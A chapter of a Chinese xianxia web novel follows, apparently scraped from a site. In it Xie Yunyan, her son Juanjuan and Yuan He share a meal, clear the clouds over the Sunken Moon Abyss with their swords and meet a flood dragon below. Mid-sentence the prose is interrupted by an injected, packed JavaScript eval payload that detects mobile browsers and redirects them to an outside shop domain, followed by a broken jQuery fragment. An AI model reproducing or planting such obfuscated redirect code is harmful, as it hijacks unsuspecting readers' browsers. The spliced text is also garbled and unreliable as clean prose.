卷卷见到她,一下子扑到她腿上。
“今日倒是睡得晚。”谢蕴颜扶住卷卷的小身子,笑着调侃道。
卷卷砸吧了一下嘴巴,眼中都是喜悦:“元叔叔做了好多好吃的!”
谢蕴颜看向元鹤。
元鹤正默默地从自己的储物囊里拿出桌椅碗筷,一边干活一边悠悠道:“我见厨房里有不少食材,便干脆做了一些。”
他说完,又进了明镜台,就这样来回了好几次,才终于把菜搬到外面。
卷卷一点都不客气,菜一摆完,他就自己坐到了桌边去,倒是没直接动筷子,还算有点礼貌。
谢蕴颜没动,元鹤也知道她不会动,于是只好道:“你也来吃一点。”
关于辟谷一事,两人上回已经辩论过一个来回,这回也用不着再说了,元鹤毕竟大晚上做了一大桌子菜,谢蕴颜也不好拂了他的好意,便乖乖地坐在了卷卷旁边。
卷卷的手太短,夹不到那些菜肴,谢蕴颜只好帮他夹。
夹了一块鳜鱼到卷卷碗里的同时,元鹤也夹了一块鸭肉过来。
“你尝尝,是花椒鸭脯。”元鹤道。
谢蕴颜因为辟谷,所以素日不怎么饮食,也很难入口那些油腻的东西,她看着鸭肉心存忌惮,生怕有什么味道会让自己吐出来,这样就对元鹤不礼貌了。
不过她试着吃了一口,鸭脯上面已经没有鸭皮,入口清淡又鲜香,又做得很入味,倒是也意外的符合她的口味。
元鹤看着她把鸭脯吃完,挑了挑眉。
他比她自己更了解她爱吃什么。
花椒鸭的鸭脯是她最爱吃的部位,鸭腿她总是嫌柴,所以现在留给卷卷吃,鸭脯上的鸭皮在端上桌之前就已经被他清理干净,鸭肉上一点油脂都不沾,她可以直接吃下去。
那时她刚刚有了卷卷,更怕荤腥肥腻,吃什么都吐,他便想尽办法给她做各种可以让她吃下去的菜,这道花椒鸭就是其中之一。
而卷卷的名字也是来源于谢蕴颜另一道最爱吃的菜——银丝卷。
一旁的卷卷啃着谢蕴颜不要的鸭腿,说了一句:“真好吃!”
谢蕴颜也连忙跟着点点头。
鸭子她是买了几只放着,本来还不知道该怎么做呢,现在不愁了。
但是……把元鹤当厨子用是不是不太好?
元鹤看她吃鸭脯的速度慢下来,眼珠子也转了两下,便猜中她心中所想。
他舀了一碗已经熬得翻出米花的粥给她,漫不经心道:“你不大会做菜,厨房里的东西倒是可惜了,不如我来吧?”
谢蕴颜抬头看他:“可以吗?”
元鹤点头。
“那就靠你了。”谢蕴颜一边说,一边又对卷卷道,“快谢谢你元叔叔。”
卷卷的嘴巴已经油光发亮,元鹤看着这张亮晶晶的小嘴一开一合:“谢谢元叔叔。”
他心里一软,罢了,元叔叔就元叔叔吧。
摆元鹤所赐,三个人饱食了一顿。
酒足饭饱之后,谢蕴颜和元鹤靠到躺椅上去,卷卷坐在谢蕴颜腿上,玩一个元鹤刚刚送给他的鲁班锁。
若不是天上覆着阴霾,倒是赏星赏月的好时机。
这会儿云层又稀疏了一些,月影重现出来,但也只有一道极为微弱的光晕。
卷卷并不会玩鲁班锁,费劲儿弄了半天,反而弄得一团乱。
谢蕴颜略显担忧地看着他,本来想着既没有灵根,或许送去墨家学些机关偃甲之术倒也不错,只是无法用自身灵力去驱动罢了,眼下看来,卷卷手笨,这一条路也差不多堵死了。
“卷卷,过来。”元鹤靠在摇椅上,双手却张开朝着卷卷。
卷卷从谢蕴颜膝盖上爬下去,跑到元鹤身边,把鲁班锁递给了他,并且眼巴巴地望着他。
元鹤手指一翻,便把原先卡死的鲁班锁拆了开来。
“哇!”卷卷眼睛亮了。
他不由抓住元鹤的衣袖,元鹤并没有拂开,反而快速地把鲁班锁又重新拼上了。
“元叔叔!”卷卷脆生生地大声说道,“元叔叔能教我吗?”
元鹤揉了揉他的头:“可以,你还小,我会慢慢教你。”
他说着,便熄灭了亮着的燃灯符,拉着卷卷的手放到鲁班锁上,让他感受到他在黑暗中也能将其拆分。
天上的黑云透出淡淡的月晕,行蕴颜眯着眼睛看过去,只能看见对面卷卷和元鹤模糊的身影,黑漆漆两团。
只有卷卷惊喜的笑声清晰。
元鹤再一次迅速完成了拆拼鲁班锁。
谢蕴颜却慢慢坐直了身子。
她想到了什么。
“元鹤。”她叫了他一声。
听见她的声音,元鹤瞬间点亮了燃灯符。
“你看天上被遮着的月亮,”谢蕴颜道,“沉月古渊,会不会真的和月亮有关?”
闻言,元鹤一时并没有说话,他起身走到那个大洞边上,再度朝里面看去,等再抬头时,便已经掐诀指向云层阴翳。
然而术法入了阴翳之中,便如同泥牛入海,金光一闪之后便被吞没。
谢蕴颜此时也走到他身边,对他道:“虽然不知道应该怎么办,但至少要先让这些乌云散开。”
元鹤沉默了片刻,道:“眼下倒有一个办法,或许可以一试。”
谢蕴颜急切道:“你快说!”
“以你我二人剑气冲开这些阴霾,只是,”他犹豫了一下,“我们宗门不同,剑势自然也大相径庭,恐怕做起来不容易。”
谢蕴颜听后立刻不假思索道:“我们先练一练。”
话音未落,她便唤出了欺雪剑。
元鹤见状也不再多言,同样提了太一上前。
两人抬手之间,便已经过了一招。
浩荡剑意之中,谢蕴颜倒生出了几分激昂意气,几息之内竟与元鹤连过了十几招,随着一剑又一剑的递进,两人也迅速熟悉了对方的剑势。
在对抗过招的同时,他们又不约而同地为对方留下了余地,让对方可以看清自己的每一招路数,甚至于是极细微处的破绽。
若非很信任对方,一般的剑修是不会如此的。
谢蕴颜不知元鹤为何也如此,她此时却是先将进入沉月古渊放在第一位,而元鹤这一路也算是共患难,她还是愿意相信他的。
毕竟也没有其他路可以选择了。
待到两人的剑气最磅礴之时,元鹤率先提剑奔向那充满阴翳的虚空之中,谢蕴颜紧随其后,两人迅速将灵力灌注入自己的本命剑中。
霎时剑威暴涨,风起云涌,竟生生将阴翳冲开了一个漩涡状的口
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790876|209197||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
子,一半的月光自其中倾泄而下,在阴暗的南荒之中,仿若天光乍破。
但南荒的阴翳显然没有那么容易就退让,在须臾之后,它又迅速开始合拢。
元鹤和谢蕴颜趁着月光被完全遮盖之前对视一眼,这一回轮到了谢蕴颜先行。
欺雪的灵力已增至顶峰,裹挟着凌厉的霜寒之意,如霜雪降世一般,将原本就已经溃散过一次的阴翳冻结起来,使之完全不能再流动。
元鹤的太一剑五行属金,天然助生属水的欺雪,他趁着谢蕴颜自身剑势略有收敛,便立刻找准机会上前以太一相辅欺雪。
欺雪剑因太一剑的相助而爆发出前所未有的灵威,剑气扩散至沉月古渊上空方圆数十里。
虚空中传来低沉的轰鸣,只见那原先已经被欺雪冻结起来的阴翳,竟在双剑的威能之下迅速生出一道又一道的裂纹。
谢蕴颜和元鹤最后一次将灵力灌注入本命剑。
阴翳彻底碎裂开,化作灰色晶尘散落。
月华大盛。
在此时,天上浑圆硕大的月亮刚好照入沉月古渊之中。
谢蕴颜和元鹤只来得及收起剑,便立刻看向古渊底部。
他们直到眼下才彻底看清楚,原来沉月古渊中黑漆漆的并不是其他东西,而是一潭浓墨一般的黑水,而月亮此刻毫无保留了映照下去,便如同沉入了渊底。
阴翳不知何时还会再出现,他们不敢再耽误,匆匆把卷卷放进明镜台,又收拾好了东西,便直接御剑进入了沉月古渊。
到达水面之时,他们看见在水面下出现了一条盘桓蜿蜒的阶梯。
二人取出避水符,当即便进入了水中。
阶梯上长满了墨绿的苔藓,即便他们用了避水符,依旧能感觉到脚底的湿滑,这古渊也不知道有多深,尽头又在何处,阶梯便如一座倒长的宝塔,仿佛无止境的往下延伸。
途中元鹤拿出了罗盘,却发现罗盘也已经完全不能使用。
“你说,我们会走到哪里去?”他收起罗盘,问谢蕴颜。
谢蕴颜摇了摇头,也没什么心思说话,但最后还是道:“你且留心着你要寻的东西。”
虽然黑水之中并不能看得太分明,但也是隐隐能看见周围有草木一类的东西,谢蕴颜倒担心元鹤会错过。
闻言,元鹤笑了笑,说道:“万一我真的找到了,半途中离开了怎么办?”
“那你就走啊,”谢蕴颜回头看了一眼元鹤,“没关系的,已经找到了沉月古渊的入口,我自己会去找不尽木。”
元鹤道:“还是算了,我胆子小,怕一个人折返回去。”
谢蕴颜无奈地摇了摇头。
也不知走了多少时候,就在两人已经走得快麻木的时候,身上的水压忽然一轻,阶梯已经到了尽头,与之相接的则是一个甬道,黑水也神奇地在甬道口停止流动,像是有什么结界似的。
这里并没有第二条路,显然这个甬道是他们必须要走的。
甬道并不黑暗,两边竟然点着长明灯。
而就在他们踏足的一瞬间,光影之中竟然凭空出现了一条蛟,又长又大的身子几乎已将甬道挤满,随即便朝着二人张开了血盆大口。
两人下意识要先朝后退,此时却发现那在甬道处静止的黑水,竟然已经成了铜墙铁壁一般。